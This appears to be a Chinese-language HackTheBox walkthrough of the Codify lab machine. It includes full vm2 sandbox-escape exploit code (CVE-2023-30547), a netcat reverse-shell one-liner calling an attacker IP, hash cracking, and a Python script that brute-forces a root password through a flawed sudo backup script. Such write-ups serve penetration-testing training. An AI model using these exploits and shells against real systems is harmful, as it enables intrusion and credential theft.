HackTheBox—Codify靶机

打靶训练第八台

image-20231115155650637

信息收集

nmap扫描

nmap -sV 10.10.11.239
─# nmap -sV 10.10.11.239
Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-15 16:00 CST
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.30s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
3000/tcp open  http    Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.38 seconds

扫描出来得到开放了 22 80 3000端口

CVE-2023-30547

还是在本地修改hosts文件

然后访问对应的域名

Codify.htb

image-20231115160448698

点击try

尝试输入命令 返回错误。

image-20231115160532424

点击about us得到一些信息

image-20231115160726025

点击蓝色的VM 2得到在github的地址 且指出了版本信息。

google search

VM2 3.9.16 EXP

在网上找到对应的EXP

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
image-20231115161035737

验证成功

在指出的地方插入反弹shell语句。

https://www.revshells.com/

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.40 6666 >/tmp/f
image-20231115161320677

沙箱逃逸

python获取到完整shell

python3 -c '__import__("pty").spawn("/bin/bash")'

目前我们还处于一个沙箱环境中,需要移动到真正的用户中。

image-20231115161854737

在该目录下得到名为tickets的db文件 查看得到带有joshua hash密码的值。

image-20231115162011617

使用john破解得到密码为 spongebob1

再起一个终端进行SSH连接。

image-20231115162136883

突破到真实环境中。

权限提升

现在尝试提权操作。

我的思路是 内核(脏牛)->SUDO->SUID->计划任务没有成功后

然后在OPT 目录下找到了msql的一个 sh程序

image-20231115163051499

执行这个程序的话需要输入root用户的密码,我们可以写一个脚本然后让脚本自动化去执行,最终得出密码。

import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

这段代码是一个国外的一个师傅写的。他在完成这个靶机后也将这个文件上传在了/TMP目录下。

最后得到密码为 kljh12k3jhaskjh12kjh3

image-20231115163914071

小结

CVE得到反弹shell进入沙箱环境 通过配置文件得到joshua的密码 使用pyhotn编写密码破解得到root账号密码。我感觉还是比较简单的,主要在于细心寻找收集配置文件泄露的信息